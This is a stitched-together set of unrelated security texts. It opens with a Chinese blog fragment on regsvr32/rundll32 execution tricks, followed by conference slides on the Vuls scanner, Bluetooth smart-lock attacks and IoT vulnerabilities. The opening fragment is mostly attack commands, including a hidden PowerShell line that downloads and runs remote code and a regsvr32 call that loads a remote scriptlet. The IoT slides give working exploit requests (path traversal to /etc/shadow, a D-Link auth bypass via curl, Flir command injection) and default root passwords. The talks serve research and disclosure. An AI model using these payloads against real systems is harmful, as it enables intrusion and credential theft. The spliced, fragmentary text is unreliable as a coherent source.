以及findstr的文件流 echo cba > cba.txt findstr /V /L W3AllLov3DonaldTrump c:\Windows\System32\scrobj.dll > c:\users\congya\desktop\cba.txt:cba.dll regsvr32 /s /u /i:http://xx.xx.xx.xx:6007/test.sct c:\users\congya\desktop\cba.txt:cba.dll (2)特殊字符 regsvr32 /s /u /^i:http://xx/test.sct scrobj.dll regsvr32 /s /u -i:http://xx/test.sct scrobj.dll 四.关于rundll32 (1)执行cpl文件 这部分的细节参考我之前的博客 https://www.cnblogs.com/xinxin999/p/15874533.html (2)执行exe文件 C:\WINDOWS\System32\rundll32 advpack.dll #12 C:\Users\xinxin\Desktop\ConsoleApplication1.exe //执行exe rundll32 advpack.dll, #-4294967284 C:\Users\xinxin\Desktop\ConsoleApplication1.exe rundll32 advpack.dll RegisterOCX C:\Users\xinxin\Desktop\ConsoleApplication1.exe rundll32利用mklink mklink rund1132.exe c:\Windows\System32\rundll32.exe rund1132.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write("\74script language=javascript)"+ (new%20ActiveXObject("WScript.Shell")).Run("congya.exe")+"\74/script)") ps:其他关于rundll32执行的payload rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://ip:port/a'))") //执 行powershell rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("cmd /c c:\\windows\\system32\\joy.cpl",0,true) //执行我们的cpl文件 rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write("\74script language=javascript)"+ (new%20ActiveXObject("WScript.Shell")).Run("ConsoleApplication1.exe")+"\74/script)") (3)rundll32执行inf文件 rundll32 advpack.dll,LaunchINFSection congya.inf,DefaultInstall_SingleUser,1, rundll32 ieadvpack.dll,LaunchINFSection congya.inf,DefaultInstall_SingleUser,1, 此外,标红的DefaultInstall_SingleUser可以修改 rundll32 advpack.dll,LaunchINFSection congya.inf,efaultInstall_SingleUser,1, rundll32 ieadvpack.dll,LaunchINFSection congya.inf,efaultInstall_SingleUser,1, 利用setupapi.dll执行inf文件 rundll32 setupapi.dll,InstallHinfSection DefaultInstall 128 c:\users\congya\desktop\congya1.inf 利用infDefaultInstall infDefaultInstall.exe C:\Users\congya\Desktop\congya1.inf
pdf
Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Automating Vulnerability Assessments with Vuls Kota KANBE & Teppei FUKUDA HITCON CMT 2017 2 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Vuls open-source, agent-less vulnerability scanner
 (based on information from NVD, OVAL, etc.) Managed System matching Notify via e-mail, slack Analyze results Vulnerability DB Installed Software errata changelog 3 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Vuls Features In-Depth 4 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Administrator On-Premise Azure 5 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 6 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 7 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 On-Premise Azure 8 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Administrator 9 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 10 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 11 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 12 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Supported OS Ubuntu 12, 14, 16 Debian 7, 8, 9 RHEL 5, 6, 7 Oracle Linux 5, 6, 7 CentOS 6, 7 Amazon Linux All FreeBSD 10, 11 Raspbian Jessie, Stretch 13 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 14 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 !! Administrator 15 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 16 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Agent-less 17 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 ssh Scan Remote Scan ssh ssh 18 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Local Scan ssh Scan 19 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 DEMO
 Let’s see just how easy it is to use Vuls 20 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Linux server that will be scanned Vuls setup screen for the Linux server Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 192.168.33.10 Linux server that will be scanned Vuls setup server Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Linux server that will be scanned Vuls setup server 192.168.33.10 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 User: vuls Linux server that will be scanned Vuls setup server Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Vuls setup server Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Scan Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Report Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Report Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Check the Scan Results View results with VulsRepo (OSS) TUI (Text-based User Interface) Get notifications of results by E-mail Slack Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Scanning Modes ssh Target Container docker exec Vuls Scan Server Target Server Vuls Scan Server = Target Server Vuls Scan Server = Target Server Scan Scan ssh Remote Local 33 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Penetration Testing? Non-Intrusive Scans Pre-authorization not needed when scanning on cloud Vulnerability / Penetration Testing Request on AWS not necessary 34 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 SCAN DETECT FIX Continuous Integration Anytime You Need Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Scan Methods Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Scan Methods Multiple Databases Security Advisory OVAL Changelog 37 the Open Vulnerability and Assessment Language RHSA/ALAS/
 ELSA/FreeBSD-SA History of version changes Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 OVAL (the Open Vulnerability and Assessment Language) Vulnerability information Machine-processable XML format https://oval.cisecurity.org/repository/registry Repositories Debian (Debian Project) Ubuntu (Canonical Ltd.) RHEL (Red Hat, Inc.) SUSE Cisco (Cisco Systems, Inc.), etc. 38 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Example(OVAL) <title>RHSA-2017:2485: git security update (Important)</title> <reference ref_id="CVE-2017-1000117" ... source="CVE"/> … <cve cvss3="6.3/CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/ A:L" href="https://access.redhat.com/security/cve/ CVE-2017-1000117" public="20170810">CVE-2017-1000117</ cve> ... <criterion comment="git is earlier than 0:1.7.1-9.el6_9" test_ref="oval:com.redhat.rhsa:tst:20172485007"/> 39 CVSS Score & Vector Package Name Package Version git is earlier than 0:1.7.1-9.el6_9 CVE-ID CVE-2017-1000117 XML File / Security Update Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 git is earlier than 0:1.7.1-9.el6_9 git 0:1.6 Vulnerable CVE-2017-1000117 0:0.9 Vulnerable 0:1.7.1-9.el6_9 < 0:1.7.1-9.el6_9 < Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Version Definitions Debian deb-version Well-defined https://manpages.debian.org/jessie/dpkg-dev/deb-version.5.en.html Red Hat Not found Read code and guess specifications https://github.com/rpm-software-management/rpm/blob/master/lib/ rpmvercmp.c#L16 41 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Sort versions from oldest to newest (deb-version) 42 '~~' '1' '~~a' '~' '' 'a' '10' Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 43 '~~' '1' '~~a' '~' '' 'a' '10' < < < < < < Old New deb-version Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 3.6.20-1.ab1 ≶ 3.6.20-1.2 3.6.20-1.ab1 > 3.6.20-1.2 3.6.20-1.ab1 < 3.6.20-1.2 Debian Red Hat ? 44 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Compare Versions Sorting is “a bit” challenging Complex sorting algorithm (Old) '~~' < '~~a' < '~' < ‘’ < 'a' (New) Debian 3.6.20-1.el6 > 3.6.20-1.2 Red Hat 3.6.20-1.el6 < 3.6.20-1.2 Opposite! 45 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Security Advisories Security Information released by vendors (Red Hat, etc.) Advisory ID CVE-ID Synopsis, Severity, Description, Affected Products, Solution, etc. 46 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Security Advisories Red Hat, Amazon Linux, Oracle Linux How yum security plugin What RHSA (Red Hat Security Advisory) ALAS (Amazon Linux AMI Security Advisory) ELSA (Oracle Linux Security Advisories) FreeBSD How pkg-audit What FreeBSD-SA (FreeBSD Security Advirories) 47 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Loaded plugins: amazon-id, rhui-lb, search-disabled-repos RHSA-2017:1680 Important/Sec. bind-libs-lite-32:9.9.4-50.el7_3.1.x86_64 RHSA-2017:1680 Important/Sec. bind-license-32:9.9.4-50.el7_3.1.noarch RHSA-2017:2473 Important/Sec. kernel-3.10.0-693.1.1.el7.x86_64 RHSA-2017:2473 Important/Sec. kernel-tools-3.10.0-693.1.1.el7.x86_64 RHSA-2017:2473 Important/Sec. kernel-tools-libs-3.10.0-693.1.1.el7.x86_64 RHSA-2017:2473 Important/Sec. python-perf-3.10.0-693.1.1.el7.x86_64 RHBA-2017:2325 bugfix bind-libs-lite-32:9.9.4-51.el7.x86_64 RHBA-2017:2325 bugfix bind-license-32:9.9.4-51.el7.noarch RHBA-2017:2329 bugfix kmod-20-15.el7_4.1.x86_64 RHBA-2017:2329 bugfix kmod-libs-20-15.el7_4.1.x86_64 $ sudo yum updateinfo list --security Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Changelog History of version changes Relevant CVE ID is listed when a security issue is fixed. * Mon Dec 12 12:00:00 2016 Siteshwar Vashisht <svashisht@redhat.com> - 4.1.2-47 - CVE-2016-9401 - Fix crash when '-' is passed as second sign to popd Resolves: #1396383 * Mon Dec 12 12:00:00 2016 Siteshwar Vashisht <svashisht@redhat.com> - 4.1.2-46 - CVE-2016-7543 - Fix for arbitrary code execution via SHELLOPTS+PS4 variables Resolves: #1379630 * Mon Dec 12 12:00:00 2016 Siteshwar Vashisht <svashisht@redhat.com> - 4.1.2-45 - CVE-2016-0634 - Fix for arbitrary code execution via malicious hostname Resolves: #1377613 * Fri Dec 9 12:00:00 2016 Siteshwar Vashisht <svashisht@redhat.com> - 4.1.2-44 - Avoid crash in parameter expansion while expanding long strings Resolves: #1359142 Currently installed version Newest version 49 Bash (Red Hat) 4.1.2-47 CVE-2016-7543 CVE-2016-0634 4.1.2-45 4.1.2-44 4.1.2-46 CVE-2016-9401 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 FIXED CVE-ID VERSION - CVE-2016-9401 CVE-2016-7543 CVE-2016-0634 4.1.2-47 4.1.2-45 4.1.2-44 4.1.2-46 Currently installed version Newest version Bash (Red Hat) Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Unique Features Execute commands on the server Detect processes which needs restart after update Debian checkrestart Red Hat needs-restarting PID Process 432 ntpd 930 sshd 1157 httpd Restart required 51 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Features In The Future Detect vulnerabilities for which there’s no update yet Monitor Security Trackers (Debian, Ubuntu, Red Hat, etc) 52 CVE-2016-8615 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 No update yet Will not fix No update yet Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Features In The Future Find Exploit Code (PoC) The Exploit Database, Metasploit, etc. 54 Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Vuls SaaS Supports the workflow in later phases Assign tasks to members Set deadline for fixing vulnerabilities Re-calculate CVSS score based on your environment Vuls OSS Vuls SaaS 55 Information Gathering Vulnerability Detection Measure Consideration Patch Verification Application Into Production Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Summary 57 Fast High-quality Extensive OS Support On-Premise and Cloud Flexible Automating Vulnerability Assessments with Vuls | HITCON CMT 2017 Thank you for your time! kotakanbe@gmail.com knqyf263@gmail.com
pdf
KCon KCon 智能门锁的“天灾人祸” Bluetooth smart locks安全攻防研究 关于作者 • 启明星辰ADlab安全研究员 • 研究方向:智能设备安全研究与漏洞挖掘 • 邮箱:butterflyhuangxx@gmail.com • 看雪ID:ID蝴蝶 PART 01 浅谈蓝牙低能耗 PART 02 智能门锁的安全问题 PART 03 研究案例分享 PART 04 改进方案 PART 05 写在最后 目录 CONTENTS 01 浅谈蓝牙低能耗 蓝牙低能耗应用场景 蓝牙低能耗特点 • 低能耗,可变连接时间 • 传输距离远 • 采用128bitAES加密 • 低延时 蓝牙低能耗协议栈 • 蓝牙应用层 • Host层 • Controller层 物理层(Physical Layer) • 频段:2.4GHz,无需授权 • 射频信道,40个。37,38, 39为广播信道。其他为数据信道。 • 跳频特性 链路控制层(Link Layer) • 五种状态:Standby,Advertising, Scanning,Initiating,Connection • 状态机 通用属性协议(GATT) • GATT定义了客户端和服务端 • 客户端发送请求到GATT服务端 • 包含多个Service,Service包 含多个Include和Characteristic • 服务端接收客户端发来的请求 和指令并存储Characteristic的value 心率计服务 • 服务是一些列由数据和相关行为组成的集合, 为了去完成某个特定的功能和特性。 • Service和Charachteristic的UUID是公共的, 也可自定义。 • Properties • Descriptors • Value 安全管理(SM) • JustWorks :临时密钥(tk)默认6个0 • 6-digit PIN/Passkey Entry:临时密钥(tk)随机6位数 000000-999999(适合有屏幕输入的) • Out of band:带外是使用另一个无线方式将数据传给蓝牙设备, 这种方式下tk值为128bits 02 智能锁的安全问题 蓝牙协议本身潜在攻击面 • 配对时的密钥分配不安全 • GATT的Profile中的数据交互接口暴露 • 总归还是协议出了问题,那就从协议分析入手 蓝牙智能锁的攻击面 • APP存在的攻击面 • APP被逆向分析 • APP打印日志泄露关键信息 • APP和服务器交互的WEB安全问题 • APP和锁之间的认证问题 • 蓝牙协议攻击面 • 通信协议分析 • 工具:Ubertooth One/usb Dongle • /直接分btsnoop_hci.log • 锁中的固件问题 趋势比较 研究案例分享 03 案例分析(一) • 一款BLE和GPS合一的共享车锁 APP操作端 • 先扫描设备 • 扫描到设备后,进行配对。 • 配对成功,即可操作 分析蓝牙数据 蓝牙锁响应后,返回的数据 看看APP日志 逆向分析APP 加密方式,协议包 获取token,开锁 0~1 2~3 获取token数据包,16byte GET_TOKEN 固定值 随机数 4~15 开锁数据包,16byte 0~1 2 OPEN_TYPE 固定值 密码 9~12 3~8 token 13~15 随机数 攻击方式 发送获取token指令 伪造APP 没有做 到mac 认证 返回token 发送OPEN指令 案例分析(二) 使用http明文传输,请求包可以重放 明文密钥,弱口令 获取token的指令 • 上一次的token会参与本次获取 token的运算,如何获取上一次 token? • 从app第一次运行入手。 案例分析(三) 工作模式 移动端APP 通过key 开锁,无 数据包加 密 智能锁 远程服 务器 用户注册,并下 放key 返回结果 存在的安全隐患 移动端APP app直接发送key进行 开锁,并无特定开锁 指令包 智能锁 远程服 务器 获取key的请求 包可以重放 Attack 请求包重放 开锁逻辑 开锁指令蓝牙数据包 蓝牙数据包一次性只能发送20byte,超过的必须要分片发送。 改进方案 04 攻击不是目的,如何改进 • 至少要APP加固 • APP端的密钥不使用硬编码,弱口令 • 配对密钥管理与分配 • 锁和APP的验证问题,MAC白名单 • 智能设备的固件更新问题 • 协议通信能不能使用非对称加密 通过协议进行设备和移动端互认证 1、en(A1,B1),key 2、en(A2,B2),key 3、en(A3,B3),A1B1A2B2 4、en(A3,B3),A1B1A2B2 写在最后 05 物联容易,安全不易,且行且珍惜 嵌入式系统 bin web 后台管理 交互接口 固 件 通信协议 云端 攻击面很多 • Web:弱口令、SQL注入、跨站、权限绕过... • Bin:缓冲区溢出... • APP:代码逆向、Log敏感信息泄露、WebView远程代码执行、拒 绝服务攻击、database配置错误... • 协议方面 • ... 这是一个过程,一切才刚刚开始 Thank you! Thank you!
pdf
Beyond Security Put something on the internet - Get hacked 1 Beyond Security Agenda • About me • IoT • IoT core problems • Software • Hardware • Vulnerabilities • What should I do? Beyond Security • Been interested in the field of security since childhood • Doing network analysis, forensics, dark web intelligence gathering, social engineering, etc. • Served 7 years in the Israeli army • Loves extreme sports (motorcycles / hiking / diving etc) About me – Maor Shwartz Beyond Security About Beyond Security • The company today: • SecuriTeam Secure Disclosure - vulnerability acquisition program since 2007 • AVDS - vulnerability management system • beSTORM - a commercial fuzzing tool Beyond Security IoT - Introduction • The Internet of Things (IoT) is the inter-networking of physical devices, vehicles, buildings, and other items embedded with electronics, software, sensors, actuators, and network connectivity which enable these objects to collect and exchange data • The IoT allows objects to be sensed or controlled remotely across existing network infrastructure Beyond Security IoT Beyond Security And what about security? 7 Beyond Security Beyond Security IoT devices on the internet(1) Beyond Security IoT devices on the internet(2) Beyond Security IoT devices on the internet(3) Beyond Security Why there are so much vulnerabilities? Hardware Software Beyond Security Hardware Beyond Security Software • Inexperienced developers • Programming language • Outdated kernel • Unknown OS • Outdated firmware’s • Lack of software update mechanism • 3rd party services Beyond Security Vulnerabilities types • Path Traversal • DHCP • MiTM • Firmware upgrade • Upload arbitrary files • Header injection (Global variables) • Api Disclosure • Hard-coded Credential • Command injection • Memory Disclosure Beyond Security Vulnerabilities types (1) • Memory Disclosure • A memory leak is an unintentional form of memory consumption whereby the developer fails to free an allocated block of memory when no longer needed • Hard-coded Credential • The use of a hard-coded password increases the possibility of password guessing tremendously Beyond Security Vulnerabilities types (2) • Command injection • Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application • Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell • In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application • Command injection attacks are possible largely due to insufficient input validation. Beyond Security Vulnerabilities types (3) • Path Traversal • A path traversal attack (also known as directory traversal) aims to access files and directories that are stored outside the web root folder • By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system Beyond Security Vulnerabilities types (4) • Man-in-The Middle • man-in-the middle attack intercepts a communication between two systems Beyond Security Example 1 HiSilicon ASIC chip set firmware 20 Beyond Security HiSilicon ASIC chip set firmware • HiSilicon provides ASICs and solutions for communication network and digital media. These ASICs are widely used in over 100 countries and regions around the world • The HiSilicon ASIC firmware comes with built-in web server - binary file called Sofia. • This binary is vulnerable to Directory path traversal Hi3520DV300/200 chipset Beyond Security Outdated kernel Linux 3.10-based SDK Beyond Security Directory path traversal built-in webserver • The built-in web server suffers from a directory path traversal • The vulnerability found in the web server binary “Sofia” which is running with root privileges • The web server do not filter HTTP GET request. • To exploit the vulnerability, all you need to do is to craft HTTP GET request with "../../etc/passwd HTTP" to read file "/etc/passwd" Beyond Security Example 2 Xiaomi Air Purifier 2 24 Beyond Security Xiaomi Air Purifier 2 • Mi Air Purifier is a High performance smart air purifier (IoT) that can be controlled remotely • Xiaomi Air Purifier 2, version 1.2.4_59, does not use a secure connection for its firmware update process • The update process is in plain-text HTTP • A potential attacker can exploit the firmware update process to: • Obtaining the firmware binary for analysis to conduct other attacks • Enables inject modified firmware Beyond Security Example 3 GoAhead web server 26 Beyond Security GoAhead web server (1) • The GoAhead web server is present on multiple embedded devices, from IP Cameras to Printers and other embedded devices • The vulnerability allows a remote unauthenticated attacker to disclose the content of the file being accessed Beyond Security Example 3 – GoAhead web server (2) • Request without leading ‘/’ bypasses HTTP basic auth GET /cgi-bin/main GET cgi-bin/main Beyond Security Example 3 – GoAhead web server (3) Beyond Security Example 3 – GoAhead web server (4) • The vulnerability of the “/” less access causing file disclosure dates back to 2004 • http://aluigi.altervista.org/adv/goahead-adv2.txt Beyond Security Example 4 Geneko Routers 31 Beyond Security Geneko Routers (1) • Geneko GWG provides cellular capabilities for fixed and mobile applications • GWG supports a variety of radio bands options on 2G, 3G and 4G cellular technologies. Beyond Security Example 4 – Geneko Routers (2) • User controlled input is not sufficiently sanitized, and then passed to a function responsible for accessing the filesystem • By sending the GET request, You get direct access to any file on the router http://"+domain+"/../../../../../etc/shadow Beyond Security Example 5 Hack2Win and D-Link 850L 34 Beyond Security Hack2Win (It’s all about the motivation) • Hack2Win-Online is a hacking competition where we connect a product to the internet and you need to hack it • We lunched the first online competition on June 2017 • Target – D-Link 850L • Prizes: • First – 5,000$ • Second – 2,500$ • Third – 1,000$ Beyond Security Hack2Win results • Remote Unauthenticated Command Execution via WAN • Remote Unauthenticated Information Disclosure • Remote Unauthenticated Command Execution via LAN Beyond Security Remote Unauthenticated Command Execution via WAN 37 Beyond Security Remote Unauthenticated Command Execution via WAN • Combination of 2 different vulnerabilities • Unauthenticated Upload arbitrary files • Execute arbitrary Commands by authenticated user with administrator privileges • When changing settings in admin interface, the settings are send in XML format to hedwig.cgi which loads and validates the changes Beyond Security Remote Unauthenticated Command Execution via WAN • The hedwig.cgi calls fatlady.php for settings validation • Then pigwidgeon.cgi is requested to apply the new settings (if valid) and restart the affected services. Beyond Security Remote Unauthenticated Command Execution via WAN • fatlady.php loads service scripts to validate the input • However the service name comes directly from received XML and can be used to load any file with “.php” extension • For example we can use it to list user accounts with their passwords and get access to admin interface Beyond Security Remote Unauthenticated Command Execution via WAN Attacker Victim POST request <postxml><module><service> ../../../htdocs/webinc/getcfg/DEVICE.AC COUNT.xml </service></module></postxml> hedwig.cgi fatlady.php Take the “DEVICE.ACCOUNT.xml” parameter and parse it as a “.php” file Get list of users and passwords Beyond Security Remote Unauthenticated Command Execution via WAN • After we got the Admin password, we can log in and trigger the second vulnerability – NTP server shell commands injection Beyond Security Remote Unauthenticated Information Disclosure 43 Beyond Security Remote Unauthenticated Information Disclosure • When an Admin is log-in to D-Link 850L it will trigger the global variable: $AUTHORIZED_GROUP >= 1. • An attacker can use this global variable to bypass security checks and use it to read arbitrary files. curl -d "SERVICES=DEVICE.ACCOUNT&amp;x=y%0aAUTHORIZED_GROUP=1" "http://IP/getcfg.php" Beyond Security Remote Unauthenticated Command Execution via WAN 45 Beyond Security Remote Unauthenticated Command Execution via LAN • The D-Link 850L runs dnsmasq daemon as root • The daemon execute the “host-name” parameter from the DHCP server • In order to exploit this vulnerability, we need to be on the same LAN with the victim and to set a DHCP server in our control • The attacker need to edit the /etc/dhcp/dhclient.conf file and change the host- name field to the command we want to execute Beyond Security Example 6 Flir Thermal/Infrared Camera 47 Beyond Security Remote Unauthenticated Information Disclosure 48 Beyond Security Remote Unauthenticated Information Disclosure • /webroot/js/fns.login.js disclosed some API functionalities • /api/xml?file= • /api/file/content/var/log/messages • /api/server/videosnap?file= • Same as /api/xml?file= • /page/factory/view/script • firmware upload, filename XSS • /api/system/config/product Beyond Security Remote Unauthenticated video stream disclosure 50 Beyond Security Remote Unauthenticated video stream disclosure • http://TARGET:8081/graphics/livevideo/stream/stream3.jpg • http://TARGET/graphics/livevideo/stream/stream1.jpg Beyond Security Remote Unauthenticated Code Execution 52 Beyond Security Remote Unauthenticated code execution GET /maintenance/controllerFlirSy stem.php?dns%5Bdhcp%5D =%COMMAND_YOU_WANT _TO_EXECUTE%60&dns%5 Bserver1%5D=1.2.3.4&dns% 5Bserver2%5D=&_=1491052 263282 HTTP/1.1 Beyond Security Hard-coded Credentials Remote Root Access: 54 Beyond Security Hard-coded Credentials Remote Root Access • root:indigo • root:video • default:video • default:[blank] • ftp:video Beyond Security Example 7 Polycom 56 Beyond Security Preferences Additional Preferences Language Web Utility Language ADD Memory Disclosure • Polycom products are vulnerable to memory info leak found in the way the web interface handle files • By uploading file with NULL characters via • An attacker can read the raw memory of the product Beyond Security Memory Disclosure • The Polycom software, when it tries to display an XML file to a user via the ‘languages’ web interface • The function prepares a memory as part of the response it sends • Because this memory is not initialized, it contains memory previously used • The function that copies the content of the file seeks the first NULL character as an indicator on how much to read from the buffer Beyond Security Hard-coded Credentials Remote Root Access • Since a NULL character appears in the buffer being read, this copies NO data into the unallocated buffer, which is returned to the user with the raw memory of the device. Beyond Security What should I do? 60 Beyond Security Path Traversal • S Beyond Security Firmware update (1) • Recovery: You can never leave the system in a state where it is stuck or partially programmed. Assume your device's power can be pulled at any instant. • Recoverability can be provided by keeping a backup copy of the original firmware and having a special bootloader that knows to boot into the backup firmware if the primary firmware is corrupted • Alternatively, the upgrade data and the state of the upgrade process can be recorded in nonvolatile memory, and the bootloader can continue the upgrade process after the device powers up after an interruption Beyond Security Firmware update (2) • Interaction with device functionality: Ideally, the user of the device will not be able to tell the update is occurring. One method to do this is to only apply the update when the system is manually restarted, or to prompt for the user to explicitly allow the update. • Security and integrity: Your device should be able to validate the update is from a trusted source and that the data hasn't been tampered will and doesn't have errors. This is done with digital signatures, hashes, and checksums. Beyond Security Firmware update (3) • Patching technique: How are you going to update the firmware? Do you download a whole new copy? Are you overwriting certain addresses/code? The choice here has an impact in the amount of data transfer and memory the update will require. • Patching can use a lot less memory, but can be very difficult (compressed data, non-position independent code) • Having a filesystem that lets you replace individual files helps make updates smaller. Beyond Security Hard-coded users / passwords • In most cases vendors implements hard-coded users/passwords for maintenance • The developer assume that the Hard-coded user/password wont be a public knowledge • In reality – If hard-coded passwords are used, it is almost certain that malicious users will gain access through the account in question Beyond Security DHCP / Header injection / Command injection (1) • The most common web application security weakness is the failure to properly validate input from the client or environment • This weakness leads to almost all of the major vulnerabilities in applications, such as locale/Unicode attacks, file system attacks and buffer overflows. Beyond Security DHCP / Header injection / Command injection (2) • Data from the client should never be trusted for the client has every possibility to tamper with the data • Ensure that the data is strongly typed, correct syntax, within length boundaries, contains only permitted characters, or that numbers are correctly signed and within range boundaries Beyond Security MiTM • Implementing Certificate-Based Authentication • Upgrade to the safer HTTPS protocol through SSL/TLS Certificates Beyond Security MiTM Memory Disclosure • Avoiding memory leaks in applications is difficult for even the most skilled developers • There are tools with aide in tracking down such memory leaks. One such example on the Unix/Linux environment is Valgrind • Valgrind runs the desired program in an environment such that all memory allocation and de-allocation routines are checked • At the end of program execution, Valgrind will display the results Beyond Security From where to start? • Scan your network, know what ports in your network are open • Identify the vulnerable ones and closed them • Update your firmware • Don’t buy stuff that are not supported (last firmware update > year) • Change the default passwords Beyond Security http://www.beyondsecurity.com/ssd SSD – SecuriTeam Secure Disclosure 71 @SecuriTeam_SSD @beyondsecurity SSD@beyondsecurity.com http://www.securiteam.com/ Beyond Security Sources (1) • DEF CON 22 - Mark Stanislav & Zach Lanier - The Internet of Fails • Siime dildo security vulnerabilities • 115 batshit stupid things you can put on the internet in as fast as I can go by Dan Tentler • SSD Advisory – Polycom Memory Disclosure • https://blogs.securiteam.com/index.php/archives/3268 • SSD Advisory – Remote Command Execution in Western Digital with Dropbox App • https://blogs.securiteam.com/index.php/archives/3397 Beyond Security Sources (2) • SSD Advisory – TerraMaster Operating System (TOS) File Disclosure • https://blogs.securiteam.com/index.php/archives/3080 • SSD Advisory – Cisco DPC3928 Router Arbitrary File Disclosure • https://blogs.securiteam.com/index.php/archives/3039 • SSD Advisory – Xiaomi Air Purifier 2 Firmware Update Process Vulnerability • https://blogs.securiteam.com/index.php/archives/3205 • SSD Advisory – Synology DiskStation Manager Multiple Stored Cross-Site Scripting • https://blogs.securiteam.com/index.php/archives/3075 Beyond Security Sources (3) • SSD Advisory – KEMP LoadMaster from XSS Pre Authentication to RCE • https://blogs.securiteam.com/index.php/archives/3194 • SSD Advisory – Geneko Routers Unauthenticated Path Traversal • https://blogs.securiteam.com/index.php/archives/3317 • SSD Advisory – Synology Photo Station Unauthenticated Remote Code Execution • https://blogs.securiteam.com/index.php/archives/3356 • SSD Advisory – D-Link 850L Multiple Vulnerabilities (Hack2Win Contest) • https://blogs.securiteam.com/index.php/archives/3364 Beyond Security Sources (4) • SSD Advisory – Remote Command Execution in Western Digital with Dropbox App • https://blogs.securiteam.com/index.php/archives/3397 • SSD Advisory – HiSilicon Multiple Vulnerabilities • https://blogs.securiteam.com/index.php/archives/3025 • Over 100K IoT Cameras Vulnerable to Source Disclosure • https://blogs.securiteam.com/index.php/archives/3043 • SSD Advisory – Linksys PPPoE Multiple Vulnerabilities • https://blogs.securiteam.com/index.php/archives/3102 Beyond Security Sources (5) • https://xsses.rocks/ip-cams-from-around-the-world-shodansafari/
pdf
